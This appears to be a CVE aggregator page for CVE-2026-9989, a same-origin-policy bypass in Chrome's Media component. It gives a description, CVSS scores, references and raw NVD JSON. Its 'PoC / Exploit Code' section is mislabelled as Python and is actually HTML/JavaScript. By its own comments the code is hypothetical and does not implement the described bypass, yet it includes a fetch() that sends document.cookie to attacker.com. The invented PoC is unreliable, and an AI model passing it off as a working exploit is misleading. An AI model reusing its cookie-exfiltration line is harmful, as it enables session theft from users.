CVE-2026-9989

Description

Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to bypass same origin policy via a crafted video file. (Chromium security severity: High)

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <body> <h2>CVE-2026-9989 PoC Demo</h2> <video id="exploitVideo" src="crafted_exploit_video.mp4" controls></video> <script> // Attempt to access cross-origin data or trigger the bypass var video = document.getElementById('exploitVideo'); video.onloadeddata = function() { console.log("Video loaded. Attempting SOP bypass..."); // Hypothetical execution flow based on vulnerability description try { // Logic to leak data via the video element due to improper implementation if(window.location.origin !== "https://trusted-site.com") { throw new Error("Origin mismatch"); } // Simulated data leak fetch('https://attacker.com/leak?data=' + encodeURIComponent(document.cookie)); } catch(e) { console.log("Exploit failed or patched."); } }; </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9989
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9989
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9989/
[4] VulDB https://vuldb.com/cve/CVE-2026-9989
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513054053

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9989", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:57.140", "lastModified": "2026-05-29T19:16:31.457", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Media in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to bypass same origin policy via a crafted video file. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513054053", "source": "[email protected]"}]}}